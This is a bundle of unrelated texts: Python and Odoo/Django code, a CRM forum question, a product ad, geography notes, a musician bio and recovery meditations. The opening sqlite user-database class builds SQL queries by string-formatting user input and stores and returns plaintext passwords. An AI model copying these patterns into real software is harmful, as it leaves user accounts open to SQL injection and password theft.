self.database.execute("delete from requests where user = '%s'"
% user)
self.database.commit()
return True
else:
return False
def add_friend(self, user):
"""
The function adds a new friend to the user's database.
Args:
user (string): The user that join to the friends list.
"""
self.database.execute("insert into friends (user) values ('%s')"
% user)
self.database.commit()
def add_request(self, user):
"""
The function adds a new request to the user's database.
Args:
user (string): The user that sent the friendship request.
Returns:
bool: If the request was added or not.
"""
try:
self.database.execute("insert into requests (user) values ('%s')"
% user)
self.database.commit()
return True
except sqlite3.IntegrityError:
return False
def add_user(self, credentials):
"""
The function adds a new user to the social network.
It gets his credentials and registers him.
Args:
credentials (list): List of the 3 credentials
(username, password and email address).
Returns:
bool: If the registration was successfully or not.
"""
username = credentials[0]
password = credentials[1]
email = credentials[2]
if not username or not password or not email:
return False
try:
self.database.execute("insert into user (username, password, "
"email, online) values ('%s', '%s', '%s', "
"1)" % (username, password, email))
self.database.commit()
os.mkdir(DIRECTORY + username)
return True
except sqlite3.IntegrityError:
return False
def update_user(self, username, value):
"""
The function turns the user's status from online to offline
or from offline to online.
Args:
username (string): The user that want to change his status.
value (int): Online or Offline (1 or 0).
"""
if value == CHANGE:
onof = self.check_online(username)
if onof == 1:
value = 0
if onof == 0:
value = 1
else:
value = int(value)
self.database.execute("update user set online = %s where "
"username='%s'" % (value, username))
self.database.commit()
def check_user(self, credentials):
"""
The function checks if the user's credentials are correct when
he wants to log in.
Args:
credentials (list): List of the 2 credentials
(username and password).
Returns:
bool: If the user's credentials are correct or not.
"""
username = credentials[0]
password = credentials[1]
cursor = self.database.execute("select username, password from user")
for raw in cursor:
if raw[0] == username and not self.check_online(username):
if raw[1] == password:
self.update_user(username, 1)
return True
else:
return False
def get_users(self):
"""
The function returns all the users that exists in the
server's database.
Returns:
list: The list of all the user names.
"""
cursor = self.database.execute("select username from user")
usernames_list = []
for raw in cursor:
usernames_list.append(raw[0])
return usernames_list
def delete_user(self, username):
"""
The function deletes a user from the social network.
Args:
username (string): The username of the user.
"""
self.database.execute("delete from user where username = %s" %
username)
self.database.commit()
def check_online(self, username):
"""
The function checks if the user is online or offline.
Args:
username (string): The username of the user.
Returns:
int: If the user is online or offline (1 or 0).
"""
cursor = self.database.execute("select username, online from user")
for raw in cursor:
if raw[0] == username:
return raw[1]
def change_email(self, username, email):
"""
The function changes the email address of the user.
Args:
username (string): The username of the user that want to change
his email address.
email (string): The new email address.
Returns:
bool: If the email address was change or not.
"""
try:
self.database.execute("update user set email = '%s' "
"where username = '%s'" % (email, username))
self.database.commit()
return True
except sqlite3.IntegrityError:
return False
def change_password(self, username, password):
"""
The function changes the password of the user.
Args:
username (string): The username of the user that want to change
his password.
password (string): The new password.
Returns:
bool: If the password was change or not.
"""
try:
self.database.execute("update user set password = '%s' "
"where username = '%s'" % (password,
username))
self.database.commit()
return True
except sqlite3.IntegrityError:
return False
def get_email(self, username):
"""
The function returns the email address of the received user.
Args:
username (string): The username to get his email address.
Returns:
string: The email address of the user.
"""
cursor = self.database.execute("select username, email from user")
for raw in cursor:
if raw[0] == username:
return raw[1]
def get_password(self, username, email):
"""
The function returns the password of the received user.
Args:
username (string): The username to get his password.
email (string): The email address of the user.
Returns:
string: The password of the user.
"""
cursor = self.database.execute("select username, email, password "
"from user")
for raw in cursor:
if raw[0] == username and raw[1] == email:
return raw[2]
return False
def close_database(self):
"""
The function closes the database.
"""
self.database.close()
|
I have build another Opportunity Module with Module Builder . In this module it have 2 default field is : Amount and Currency . At first time it work perfectly but after that now the Currency field not show the dropdown , now it show a text field. I try to field on it and it alert" Invalid Value: Currency" when save . Anyone faced to this problems?
In what version of Sugar are you experiencing this issue?
Did you make any customizations in Module Builder before deploying the module that might be relevant?
When you say you made an Opportunity module, do you mean you used the sale template?
If you deploy a new sale-type module from Module Builder, are you able to reproduce the described symptom in your instance?
If the symptom does not reproduce, can you identify any code-level differences between the affected module and the unaffected module?
|
# -*- encoding: utf-8 -*-
###############################################################################
# Module Writen to OpenERP, Open Source Management Solution
# Copyright (c) 2013 Vauxoo C.A. (http://openerp.com.ve/)
# All Rights Reserved
############# Credits #########################################################
# Coded by: Juan Marzquez (Tecvemar, c.a.) <jmarquez@tecvemar.com.ve>
# Katherine Zaoral <katherine.zaoral@vauxoo.com>
# Planified by:
# Juan Marquez <jmarquez@tecvemar.com.ve>
# Humberto Arocha <hbto@vauxoo.com>
# Audited by: Humberto Arocha <hbto@vauxoo.com>
###############################################################################
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
###############################################################################
from openerp.osv import osv, fields
import openerp.addons.decimal_precision as dp
from openerp.tools.translate import _
class account_invoice(osv.osv):
_inherit = "account.invoice"
def _get_imex_invoices(self, cr, uid, ids, name, args, context=None):
context = context or {}
ids = isinstance(ids, (int, long)) and [ids] or ids
res = {}.fromkeys(ids, False)
for inv in self.browse(cr, uid, ids, context={}):
for ait in inv.imex_tax_line:
res[inv.id] = ait.cfl_id.customs_form_id.id
return res
def _get_inv_from_ait(self, cr, uid, ids, context=None):
'''
Returns
'''
context = context or {}
ids = isinstance(ids, (int, long)) and [ids] or ids
ait_obj = self.pool.get('account.invoice.tax')
ait_brw = ait_obj.browse(cr, uid, ids, context=context)
return list(set([i.invoice_id.id for i in ait_brw if i.imex_inv_id]))
_columns = {
'customs_form_id': fields.function(
_get_imex_invoices, method=True,
type='many2one', relation='customs.form',
string='Customs form',
store={
'account.invoice.tax':(_get_inv_from_ait, ['imex_inv_id'], 50),
}, help="This is the VAT Withholding Document where this invoice is being withheld"),
'imex_tax_line': fields.one2many(
'account.invoice.tax', 'imex_inv_id', 'Vat lines', readonly=True,
attrs="{'readonly':[('vat_detail','=',True)], \
'required':[('vat_detail','=',True)]}",),
'expedient':fields.boolean('Dossier',
help="If it is true, it means this is a \
landindg form, you will need to load this \
format as an purchase invoice to declarate \
on Book"),
}
def on_change_customs_form_id(self, cr, uid, ids, customs_form_id, context=None):
context = context or {}
res = {}
if customs_form_id:
imp = self.pool.get('customs.form').browse(cr, uid,
customs_form_id,
context=context)
res = {'value': {'num_import_form': imp.name,
'import_invo': imp.date_liq}}
return res
def test_open(self, cr, uid, ids, *args):
so_brw = self.browse(cr, uid, ids, context={})
for item in so_brw:
if item.customs_form_id and \
item.customs_form_id.state in ('draft', 'cancel'):
raise osv.except_osv(_('Error!'), _(
'Can\'t validate a invoice while the form 86 state\'s is \
cancel or draft (%s).\nPlease validate the form 86 first.')
% item.customs_form_id.name)
return super(account_invoice, self).test_open(cr, uid, ids, args)
class account_invoice_tax(osv.osv):
_inherit = 'account.invoice.tax'
_columns = {
'cfl_id': fields.many2one('customs.form.line',
'Vat line',
ondelete='cascade'),
'imex_inv_id': fields.many2one('account.invoice', 'Imex Invoice',
ondelete='cascade', select=True),
'partner_id': fields.related('imex_inv_id', 'partner_id',
type='many2one', relation='res.partner',
string='Supplier',store=False, readonly=True),
'supplier_invoice_number': fields.related('imex_inv_id', 'supplier_invoice_number', type='char',
string='Invoice ref', size=64, store=False,
readonly=True),
}
_defaults = {
}
#~ _sql_constraints = [
#~ ('base_gt_zero', 'CHECK (base>0)',
#~ 'The base amount must be > 0!'),
#~ ('amount_zero', 'CHECK (amount>=0)',
#~ 'The tax amount must be >= 0!'),
#~ ]
#~ def on_change_cfl_id(self, cr, uid, ids,
#~ cfl_id):
#~ '''
#~ Create a domain to filter invoice_id for invoices listed in
#~ customs_form.invoice_ids only
#~ http://help.openerp.com/question/11180/how-to-create-a-domain-for-
#~ field-in-parentparent-model/
#~ '''
#~ res = {}
#~ if cfl_id:
#~ line_obj = self.pool.get('customs.form.line')
#~ invoices = [i.id for i in line_obj.browse(
#~ cr, uid, cfl_id).customs_form_id.invoice_ids]
#~ res = {'domain': {'invoice_id': [('id','in',invoices)]}}
#~ return res
def on_change_amount(self, cr, uid, ids, tax_id, base_amount, tax_amount,
context=None):
""" To autocompute base or tax, only for percent based taxes. """
context = context or {}
res = {}
if tax_id:
obj_vat = self.pool.get('account.tax')
vat = obj_vat.browse(cr, uid, tax_id, context=context)
if vat.type == 'percent':
if base_amount == 0 and tax_amount > 0:
base_amount = round(tax_amount / vat.amount, 2)
res = {'value': {'base_amount': base_amount,
'tax_amount': tax_amount}}
if base_amount > 0 and tax_amount == 0:
res = {'value': {'base_amount': 0.0,
'tax_amount': tax_amount}}
return res
def on_change_invoice_id(self, cr, uid, ids, invoice_id, context=None):
context = context or {}
rp_obj = self.pool.get('res.partner')
res = {}
if invoice_id:
obj_inv = self.pool.get('account.invoice')
inv_brw = obj_inv.browse(cr, uid, invoice_id, context=context)
acc_part_brw = rp_obj._find_accounting_partner(inv_brw.partner_id)
res = {'value': {'partner_id': acc_part_brw.id,
'supplier_invoice_number': inv_brw.supplier_invoice_number}}
return res
def on_change_tax_id(self, cr, uid, ids, tax_id, context=None):
context = context or {}
res = {}
if tax_id:
at_obj = self.pool.get('account.tax')
tax_brw = at_obj.browse(cr, uid, tax_id, context=context)
if tax_brw:
res = {'value': {'account_id': tax_brw.account_collected_id.id,
'name': tax_brw.name}}
else:
res = {'value': {'account_id': False, 'name': False}}
return res
|
Click here for more comments on the new material.
The album will feature a new drummer, Heikki Saari, as well. He is also a member of Norther and Amberian Dawn.
|
import glob
import imp
import io
import os
from os import path
from setuptools import setup, find_packages, Extension
import sys
MYDIR = path.abspath(os.path.dirname(__file__))
# NOTE
REQUIRES = ['fysom', 'redis']
cmdclass = {}
ext_modules = []
setup(
name='marmoolak',
version='1.0.7',
description='Yet another finite state machine with memory and callbacks.',
long_description=io.open('README.rst', 'r', encoding='utf-8').read(),
classifiers=[
'Development Status :: 5 - Production/Stable',
'Environment :: Web Environment',
'Natural Language :: English',
'Intended Audience :: Developers',
'License :: OSI Approved :: Apache Software License',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Topic :: Software Development :: Libraries :: Python Modules',
'Programming Language :: Python',
'Programming Language :: Python :: Implementation :: CPython',
'Programming Language :: Python :: Implementation :: PyPy',
'Programming Language :: Python :: Implementation :: Jython',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.5',
],
keywords='fsm workflow engine disk memory easy simple iran tehran',
author='Farsheed Ashouri',
author_email='rodmena@me.com',
url='https://github.com/ourway/marmoolak',
license='Apache 2.0',
packages=find_packages(exclude=['tests']),
include_package_data=True,
zip_safe=False,
install_requires=REQUIRES,
setup_requires=[],
cmdclass=cmdclass,
ext_modules=ext_modules,
test_suite='nose.collector',
)
|
Talavera plate – D#3 these beautifully handcrafted plates by “La Corona” is original design from this workshop, each plate is hand painted by artisan from the Tlaxcala region. Our plates are 100% lead free; chip resistant; and microwave, oven, and dishwasher safe. We offer you 3 sizes. Custom designs and sizes are available by request.
Talavera plate – D#3. The workshop “La Corona” makes each dish with the same technique that used through the years, the paint used also are prepared in traditional way with minerals from the region, artisans hand-paint each dish. They have hundreds of different patterns, same designs are in pots, cups, vases, and all the pieces of crockery. These beautifully handcrafted Talavera plates will make a vibrant and culturally addition to any space in your home. Plates are 100% lead free; chip and crack resistant; as well as microwave, oven, and dishwasher safe.
|
# Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
def printTree(self, root):
"""
:type root: TreeNode
:rtype: List[List[str]]
"""
layers = self.bfs(root)
height = len(layers)
ans = [['']*(2**height-1) for i in xrange(height)]
postions = [i for i in xrange(0, 2**height-1, 2)]
for i in xrange(height-1, -1, -1):
for j in xrange(0, len(postions)):
if layers[i][j]:
ans[i][postions[j]] = str(layers[i][j].val)
new_pos = [(postions[i]+postions[i+1])/2 for i in xrange(0, len(postions)-1, 2)]
postions = new_pos
return ans
def bfs(self, root):
layers = [[root]]
next_layer = layers[-1]
while next_layer:
nodes = []
for node in next_layer:
if not node:
nodes.append(None)
nodes.append(None)
continue
if node.left:
nodes.append(node.left)
else:
nodes.append(None)
if node.right:
nodes.append(node.right)
else:
nodes.append(None)
flag = 0
for node in nodes:
if node:
flag = 1
break
if flag:
layers.append(nodes)
next_layer = layers[-1]
else:
next_layer = []
return layers
|
Trou au Natron is a volcano in the nation of Chad in Northern Africa. It is located just south east of Toussidé, the westernmost volcano of the Tibesti Mountains.
The Tibesti Mountains are a volcanic group of inactive volcanoes with one potentially active volcano in the central Sahara desert in the Bourkou-Ennedi-Tibesti Region of northern Chad. The northern slopes extend a short distance into southern Libya.
The Niger River is a relatively "clear" river, carrying only a tenth as much sediment as the Nile because the Niger's headlands are located in ancient rocks that provide little silt. Like the Nile, the Niger floods yearly; this begins in September, peaks in November, and finishes by May.
The Sahara in North Africa, is the one of the largest deserts in the world. Antarctica is also a desert, and is larger.
It is bounded by the Atlantic Ocean, the Atlas Mountains, the Mediterranean Sea, the Red Sea, and the Sahel region. Inside it are parts of many countries, including Morocco, Algeria, Tunisia, Libya, Egypt, Mauritania, Mali, Niger, Chad, and The Sudan. Most parts are uninhabited, but some people manage to survive in places where there is water.
|
from __future__ import unicode_literals
from django import forms
from django.conf import settings
from django.contrib import admin
from django.core.exceptions import ImproperlyConfigured
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _
class SortableInlineMixinBase(object):
# formset = CustomInlineFormSet
_field = None
def __init__(self, *args, **kwargs):
self._field = getattr(self, 'position_field', None)
if not self._field:
msg = _('You have to define a position field on {}').format(
self.__class__.__name__
)
raise ImproperlyConfigured(msg)
if isinstance(self, admin.StackedInline):
self.is_stacked = True
self.is_tabular = False
elif isinstance(self, admin.TabularInline):
self.is_stacked = False
self.is_tabular = True
else:
msg = (
'Class {0}.{1} must also derive from'
' admin.TabularInline or admin.StackedInline'
).format(self.__module__, self.__class__)
raise ImproperlyConfigured(msg)
super(SortableInlineMixinBase, self).__init__(*args, **kwargs)
@property
def template(self):
return 'admin/admin_sort/edit_inline/inline.html'
@property
def html_data_fields(self):
data_fields = getattr(
super(SortableInlineMixinBase, self),
'html_data_fields',
''
)
my_data_fields = {
'admin-sort-position-field': 'field-%s' % self._field
}
data_fields_out = ''
for key, value in my_data_fields.items():
data_fields_out += ' data-{}="{}"'.format(key, value)
return mark_safe('{} {}'.format(data_fields, data_fields_out))
@property
def css_classes(self):
css_classes = getattr(
super(SortableInlineMixinBase, self),
'css_classes',
''
)
my_css_classes = 'admin-sort-inline'
if self.is_tabular:
my_css_classes += ' admin-sort-tabular'
else:
my_css_classes += ' admin-sort-stacked'
if self.extra > 0:
my_css_classes += ' has-extra admin-sort-has-extra'
return '{} {}'.format(css_classes, my_css_classes)
class DragAndDropSortableInlineMixin(SortableInlineMixinBase):
@property
def media(self):
css = {
'all': ['admin_sort/css/sortable.inline.css'],
}
if 'djangocms_admin_style' in settings.INSTALLED_APPS:
css['all'].append('admin_sort/css/sortable.inline.cms.css')
js = (
'admin/js/jquery.init.js',
'admin_sort/js/sortable.js',
'admin_sort/js/sortable.draganddrop.inline.js',
)
original_media = super(DragAndDropSortableInlineMixin, self).media
# return original_media
return original_media + forms.widgets.Media(css=css, js=js)
@property
def css_classes(self):
css_classes = getattr(
super(DragAndDropSortableInlineMixin, self),
'css_classes',
''
)
my_css_classes = 'admin-sort-draganddrop-inline'
return '{} {}'.format(css_classes, my_css_classes)
def get_formset(self, request, obj=None, **kwargs):
formset = super(DragAndDropSortableInlineMixin, self).get_formset(
request,
obj,
**kwargs
)
# needed for extra > 0
formset.form.base_fields[self._field].required = False
# hide it
formset.form.base_fields[self._field].widget = forms.HiddenInput(
attrs={'class': 'admin-sort-position'}
)
return formset
class SortableInlineAdminMixin(DragAndDropSortableInlineMixin):
# deprecated!
pass
class DropdownSortableInlineMixin(SortableInlineMixinBase):
@property
def media(self):
js = [
'admin/js/jquery.init.js',
'admin_sort/js/sortable.dropdown.inline.js',
]
original_media = super(DropdownSortableInlineMixin, self).media
# return original_media
return original_media + forms.widgets.Media(js=js)
@property
def css_classes(self):
css_classes = getattr(
super(DropdownSortableInlineMixin, self),
'css_classes',
''
)
my_css_classes = 'admin-sort-dropdown-inline'
return '{} {}'.format(css_classes, my_css_classes)
def get_formset(self, request, obj=None, **kwargs):
formset = super(DropdownSortableInlineMixin, self).get_formset(
request,
obj,
**kwargs
)
# needed for extra > 0
formset.form.base_fields[self._field].required = False
# prepare widget ARF!
# import pprint
# pprint.pprint(self.__dict__)
# pprint.pprint(self.opts.__dict__)
# pprint.pprint(formset.__dict__)
# pprint.pprint(formset.form)
# TODO: getting count of existing inlines, this is done in js otherwise!
# count = self.model.objects....count()
# choices = [(no, no, ) for no in range(1, count)]
formset.form.base_fields[self._field].widget = forms.Select(
attrs={'class': 'admin-sort-position'},
# choices=choices
)
return formset
|
How can a guy from an Amish - Mennonite family, grow to become a cutting edge acoustic guitar player that utilizes technology in every facet of his work? Just ask Jerimae Yoder, he has done it. From a rousing concert for High School and College people where he tweaks and loops every sound that could possibly emanate from an acoustic guitar, to collaborating with a producer over the internet for his new CD, Jerimae is creating a sound and a buzz in the Indie music community.
"Music and art are not an end in themselves, they are only the means to reach the heart of people with a message. Sometimes the message is spoken by lyrics, sometimes spoken after the music is played or performed and sometimes the message is found within the art itself," says Jerimae. What sets Jerimae Yoder apart from the rest of the music scene is that he cares about the message. He cares about people. He cares about God. He cares about how people respond to God.
Jerimae Yoder's personal revolution began in 1995. A "radical self- turning" is how Jerimae describes the transformation that began on that summer evening on a bench in Northern Michigan. Nothing would be the same from that point on. As he packed up his red VW bus bound for California from his home in Goshen IN., God began to work in all his situations. A few weeks stop in Indianapolis turned into 9 years, 1 wife and 2 kids.
His self described style of music is "Modern Acoustic" melding together acoustic guitar with electronic elements that he gleans from influences like Beck, Wilco, Derek Webb, Ester Drang, the Flaming Lips, MuteMath, Phil Keaggy, Jars of Clay, and Nick Drake. The new EP "Personal Revolution" is a mixture of fully produced songs, a acoustic and vocal solo and two "one take" jams. "Acousti-digit" and "Sole Son" are both one take acoustic jams that Jerimae recorded in his home studio in Indianapolis, with a loop station, a digital delay pedal, a Vox Cry Baby, and a drum machine. The whole CD was produced by Pam Clark (http://pamelaclark.tripod.com/) at Salt Mine studio in Panama, Central America. Jerimae and Pam's technological collaboration began by their mutual friendships through Indieheaven.com, a web home to many independent artists around the globe. By recoding in his home studio and using a file transfer method over a popular instant messaging program, Jerimae was able to complete the whole CD in "record" time.
"It's been a long time coming, but I finally feel like I'm being released into something I've always wanted to do" Jerimae says. "Maybe I'm stubborn, or slow, but I know that God has me right where he wants me, this is getting really exciting."
No doubt that Jerimae and his music will be around for a long while.
|
from itertools import count
PAGE_PARAM = 'page_param'
PAGE_SIZE_PARAM = 'page_size_param'
PAGE_SIZE = 'page_size'
PAGINATION_TYPE = 'pagination_type'
RESULTS_KEY = 'results_key'
NEXT_KEY = 'next_key'
START = 'start'
class PaginationType(object):
ITEM = 'item'
PAGE = 'page'
class PaginatedResults(object):
"""Paginated API results
Returns an iteratable container of items from paginated function, useful
for service methods that return paginated results.
The paginated function should accept a page and page size argument and
return a page of results for those arguments nested in a 'results' key:
>>> def numbers(page, page_size):
... start = (page - 1) * page_size
... end = start + page_size
... return {'results': range(0, 100)[start:end]}
...
>>> results = PaginatedResults(numbers)
>>> list(results)
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, ... 99]
The names of these arguments, the value for `page_size`, the starting page
number (which defaults to page 1), and the results key can be overriden
through the init of the class:
>>> def numbers(offset, length):
... start = offset * length # expects start of 0
... end = start + length
... return {'numbers': range(0, 100)[start:end]}
...
>>> results = PaginatedResults(
... numbers, page_param='offset', page_size_param='length',
... page_size=10, results_key='numbers', start=0)
>>> [n for n in results]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, ... 99]
If your function returns the results as a top-level list, set the
`results_key` to `None`.
>>> def numbers(page, page_size):
... start = (page - 1) * page_size
... end = start + page_size
... return range(0, 100)[start:end]
...
>>> results = PaginatedResults(numbers, results_key=None)
>>> list(results)
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, ... 99]
The `pagination_type` configuration defines how the api behaves, by
default this is set to `PaginationType.PAGE` which means the API should
expect the `page_param` to represent the index of the page to return.
Set this value to `PaginationType.ITEM` if the API expects `page_param` to
represent the index of an item.
>>> def numbers(offset, limit):
... start = offset
... end = start + limit
... return {'results': range(0, 100)[start:end]}
...
>>> results = PaginatedResults(
... numbers, page_param='offset', page_size_param='limit',
... pagination_type=PaginationType.ITEM)
>>> list(results)
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, ... 99]
"""
DEFAULT_OPTIONS = {
PAGE_PARAM: 'page',
PAGE_SIZE_PARAM: 'page_size',
PAGE_SIZE: 100,
PAGINATION_TYPE: PaginationType.PAGE,
RESULTS_KEY: 'results',
NEXT_KEY: 'next',
}
def __init__(self, paginated_fn, args=(), kwargs=None, **options):
self.paginated_fn = paginated_fn
self.args = args
self.kwargs = kwargs or {}
self.options = dict(self.DEFAULT_OPTIONS)
self.options.update(options)
def __iter__(self):
for page_id in self._page_ids():
page = self._get_page(page_id)
for item in page.items:
yield item
if page.is_last_page:
return
def _get_page(self, page):
kwargs = dict(self.kwargs)
kwargs.update({
self.options[PAGE_PARAM]: page,
self.options[PAGE_SIZE_PARAM]: self.options[PAGE_SIZE],
})
one_page_data = self.paginated_fn(*self.args, **kwargs)
return Page(one_page_data, self.options)
def _page_ids(self):
if self.options[PAGINATION_TYPE] == PaginationType.PAGE:
start = self.options.get(START, 1)
return count(start)
if self.options[PAGINATION_TYPE] == PaginationType.ITEM:
start = self.options.get(START, 0)
return count(start, self.options[PAGE_SIZE])
raise ValueError('Unknown pagination_type')
class Page(object):
def __init__(self, data, options):
self._data = data
self._options = options
@property
def items(self):
results_key = self._options.get(RESULTS_KEY)
if results_key:
return self._data[results_key]
return self._data
@property
def size(self):
return len(self.items)
@property
def is_last_page(self):
next_key = self._options.get(NEXT_KEY)
next_page_is_null = (
next_key in self._data and
self._data[next_key] is None
)
return self.size < self._options[PAGE_SIZE] or next_page_is_null
|
I can't do this one on my own.
Maybe God could love me still.
I've done some wrong, and I'm not proud.
Each stroke of his bell startles more blossoms into falling.
Why not sign up to get emails with daily posts included?
Today, I need not fear anything for I have endured and survived the horror of active alcoholism and, by the grace of AA and a Higher Power to which it led me, I have emerged not only intact but a better person. I have kept the faith in the Program, in its Steps and Principles, in the Power stronger than I, and I found faith in myself that I never had before. My gift has been sobriety the last 24 Hours. Having vested not only my heart and soul but my very life in this Program of recovery, I faced few terrors other than those within myself but met them with the guidance of the Steps. Now, nothing can compare and any fear from any source is something I know I can face responsibly, with faith and sobriety. Today, I have nothing to fear except the ghosts of my drinking past, and my Program has empowered me to move beyond them, to leave the fear behind. Yet I do not take for granted the gift of sobriety as something I am owed or even deserve; I have an obligation to it, and that obligation begins with sharing the message. And our common journey continues.
“These, then, are my last words to you: Be not afraid of life. Believe that life is worth living. and your belief will help create the fact.
I have lived my life as a compulsive eater and I have known many other compulsive eaters. I believe I can say unequivocally that life is much more difficult in so many ways for us than for many others. I denied that what I suffered from was a disease; yet I watched as over the years it robbed me of so many things others take for granted. Most of us will acknowledge early on that the manifestations of compulsive eating affects us spiritually, emotionally and physically. Volumes have been written about each of these so most reading this know the devastation it causes. When I began to inventory my life and saw how much the quality of it had suffered, it saddened me greatly.
I believe one of the most difficult ways the disease of COE, or any compulsive illness, affects us is the way society looks upon us. Because I have experienced life both ways, I know how behavior and attitudes change in interacting with a COE vs a non-COE. We wear our disease on the outside … but the extensive damage is far more wide-spread than just the physical. The disease wrecks havoc in every area of our lives as we silently go about our life doing the things expected of us. We don’t dare scapegoat the disease. After all, this is not a cancer … or heart disease. Yet it can be just as serious.
Many decades ago, a group of alcoholics gathered and, as a result, life began to change for those of us who struggled with the disease. When I reached the point in my life that I could actually acknowledgement that compulsive eating was affecting it and that I had done everything possible to stop it and couldn’t, it was one of the most freeing moments I’ve ever experienced. I learned that I was as powerless over this as I would have been suffering a heart attack. I also learned that I couldn’t handle it alone. I learned that there were twelve steps that were absolutely necessary if I were to survive emotionally and, perhaps even physically.
I went from fighting the disease to acknowledging it. Because of the Steps I learned that there were tens of thousands of others exactly like me and that we all spoke the same beautiful language. I learned not to be afraid of life … and that, despite this despicable disease, life is truly worth living. I was told to “act as if” and by doing this it became no longer an act.
I affirm that my life is worth living. One day at a time, I affirm that I will not be afraid of anything that makes me feel otherwise.
The physician wasn't hooked, he thought—he just prescribed drugs medically indicated for his many ailments. Acceptance was his key to liberation.
For years I was sure the worst thing that could happen to a nice guy like me would be that I would turn out to be an alcoholic. Today I find it’s the best thing that has ever happened to me. This proves I don’t know what’s good for me. And if I don’t know what’s good for me, then I don’t know what’s good or bad for you or for anyone. So I’m better off if I don’t give advice, don’t figure I know what’s best, and just accept life on life’s terms, as it is today—especially my own life, as it actually is. Before A.A. I judged myself by my intentions, while the world was judging me by my actions.
A New year: 12 months, 52 weeks, 365 days, 8,760 hours, 525,600 minutes—a time to consider directions, goals, and actions. I must make some plans to live a normal life, but also I must live emotionally within a twenty-four hour frame, for if I do, I don’t have to make New Year’s resolutions! I can make every day a New Year’s day! I can decide, “Today I will do this … Today I will do that.” Each day I can measure my life by trying to a little better, by deciding to follow God’s will and making an effort to put the principles of our A.A. program into action.
Do not be afraid, nor be dismayed, for the Lord your God is with you wherever you go.
What makes a great state is its being (like) a low-lying, down- flowing (stream);—it becomes the center to which tend (all the small states) under heaven.
(To illustrate from) the case of all females:—the female always overcomes the male by her stillness. Stillness may be considered (a sort of) abasement.
There are two forms of error now prevailing among followers of Zen, laypeople as well as monks. The one thinks that there are wonderful things hidden in words and phrases, and those who hold this view try to learn many words and phrases.
The second goes to the other extreme, forgetting that words are the pointing finger, showing one where to locate the moon. Only when these two erroneous views are done away with is there a chance for real advancement in the mastery of Zen.
Today, I awaken to a new day with full memory of last night but, if not, the day that awaits offers a chance for another beginning. Grant me the wisdom and courage, Higher Power, to seize the opportunity to continue or even begin to work toward something better, something I thirst and hunger for – sobriety, serenity, peace, calm, a worthy self-image, and a sense of gratitude that I am here even to be given yet another second chance. My best hope for what I seek is AA and its Steps and Principles and, today, may I finally decide that enough is enough of the alcoholic hangover and all the garbage that comes with it. But let me be disciplined enough, too, to understand that what sobriety and recovery offer comes with a price – to be of service to anyone else who needs and wants what I seek. Today, I have yet another chance for another new beginning. Let not the lifeboat go by without me on board. And our common journey continues.
Step by step. - Chris M.
Shakespeare said, “All the world’s a stage, and all the men and women merely players.” He forgot to mention that I was the chief critic. I was always able to see the flaw in every person, every situation. And I was always glad to point it out, because I knew you wanted perfection, just as I did. A.A. and acceptance have taught me that there is a bit of good in the worst of us and a bit of bad in the best of us; that we are all children of God and we each have a right to be here. When I complain about me or about you, I am complaining about God’s handiwork. I am saying I know better than God.
Sometimes it seems as if our recovery is growing much too slowly. We struggle with the steps; we wrestle with the same problems; we labor under the same uncomfortable feelings day after day. We wish that recovery would move a little faster so we could find some comfort!
Wishing doesn’t work in recovery; this isn’t a program of magic. If wishes cured addiction, we all would have been well long ago! What does give us relief in recovery is action and prayer.
Narcotics Anonymous has worked for so many addicts because it is a carefully designed program of action and prayer. The actions we undertake in each of the steps bring more and more recovery to each area of our lives. And prayer keeps us connected to our Higher Power. Together, action and prayer keep us well-grounded in recovery.
Just for today: My recovery is too precious to just wish about it. Today is a good day for action and prayer.
Today, when resolutions for the coming new year are in vogue, I will make none because to do so would overlook the Program’s edict to take life one day at a time. Further, I have no guarantee that an entire year is promised me, and I cannot live for a day in the future because, in doing that, I am neglecting today. The AA Program discourages us from living or looking too far ahead if today is sacrificed and encourages us to make our resolutions daily. Today, as I awaken to greet a new day, my resolution is to adhere to the Steps and Principles of the Program and not drink and, further, to grow in the sobriety I seek today. And our common journey continues.
Is someone happier, better or braver because of some act of yours today? If you can answer yes to any or all of them, then you can feel rather confident that you are progressing in the AA way of living.
If you can’t – then you are not giving it the old College try and you are cheating yourself out of a lot of happiness that could have been yours.
Another whole world opens up when we close our eyes and calm our mind. Be still and know; be still and hear; be still and see; be still and feel. Inside every person is a still, small voice. Sometime it is necessary to close our eyes to shut down our perception in order to see. Try this occasionally; when you are talking to your child or spouse, close your eyes and listen to them. Listen to the tone of their voice; listen to their excitement; listen to their pain-listen.
Great Spirit, today, let me hear only what really counts.
An alcoholic who continues to drink is committing suicide. An addict who continues to use is committing suicide. An overeater who continues to eat compulsively and destructively is committing suicide. Madness.
Today I accept my past destructive behavior and try to change it on a daily basis. Spirituality is loving yourself enough to “see” the writing on the wall and do something about it. Change is sanity for the madman!
God, You seem to have given me a dose of insanity. Let me use it to Your glory.
Many people are living in an emotional jail without recognizing it.
Prayer for the Day: Higher Power, help me to stay free. For this next twenty-four – hour period, take from me any urge to drink or use other drugs. With Your help, I’ll be free.
Action for the Day: Today, I’ll think about my disease. I am not morally weak. I have a dangerous illness. What can keep me free from my disease?
He was my greatest teacher. He taught me patience.
Whenever I feel downtrodden or disappointed by the hand that life has dealt me, I often think of this quote. It moves me beyond speech. Here was a man who had lost his homeland to communist China, yet he still had a good thing to say about the man who started it all. It forces me to come to a realization that what has happened to me is peanuts!
